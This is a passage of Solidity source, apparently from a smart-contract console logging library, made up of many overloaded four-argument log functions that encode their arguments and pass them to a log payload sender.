abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
bool p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
uint256 p0,
address p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)
);
}
function log(
uint256 p0,
address p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(uint,address,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
uint256 p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,uint,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
string memory p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
string memory p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,string,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
bool p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
bool p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,bool,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
address p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
address p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
address p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
address p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
address p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
address p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
address p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)
);
}
function log(
string memory p0,
address p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
string memory p0,
address p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(string,address,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
uint256 p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
string memory p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,string,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
bool p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
bool p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
bool p0,
address p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)
);
}
function log(
bool p0,
address p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(bool,address,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
uint256 p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)
);
}
function log(
address p0,
uint256 p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,uint,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
string memory p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)
);
}
function log(
address p0,
string memory p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)
);
}
function log(
address p0,
string memory p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
